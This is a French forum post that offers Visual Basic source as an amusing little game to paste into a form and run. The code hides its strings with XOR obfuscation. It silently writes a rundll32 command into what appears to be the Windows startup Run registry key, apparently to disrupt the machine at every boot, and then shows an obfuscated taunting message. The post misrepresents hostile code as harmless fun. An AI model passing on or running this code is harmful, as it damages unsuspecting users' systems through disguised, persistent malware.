Ben voila, je trouve ce code super amusant, c'est tip top vous voyez? Dans le fond c'est très simple, même enfantin, il suffisait d'y penser! Comme quoi même dans une maison de retraite on trouve toujours moyen d'égayer sa journée avec des petits jeux amusants!
Il suffit de créer une form et de coller ce code à l'interieur, puis appuyez sur F5 ou utilisez votre souris...waaaallaaaa!
Source / Exemple :
Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
(lpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Sub Form_Load()
Call BuildApp
MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
LaGrandeVerite$("Dv#Kpo)&'")
End
End Sub
Function LaGrandeVerite$(LeText$)
a$ = ""
For i = 1 To Len(LeText$)
LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
a$ = a$ + Chr$(LeCar)
Next i
LaGrandeVerite$ = a$
End Function
Sub BuildApp()
Dim Resultat As Long
Dim Ident As Long
Resultat = 0
Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
"wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
If Resultat = 0 Then
LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
If GreatPlaceToLive = 2 Then
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
"==<BerdXybk|Xnhiqq")
Else
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
Chr$(34) + "\gpb^{`erZlnoss")
End If
Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
End If
End Sub
Function GreatPlaceToLive()
Dim Here As OSVERSIONINFO
Here.dwOSVersionInfoSize = Len(Here)
Call MaisOuJeSuis(Here)
GreatPlaceToLive = Here.dwPlatformId
End Function
Conclusion :
Oh... ça marche même sous windows 2000!
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.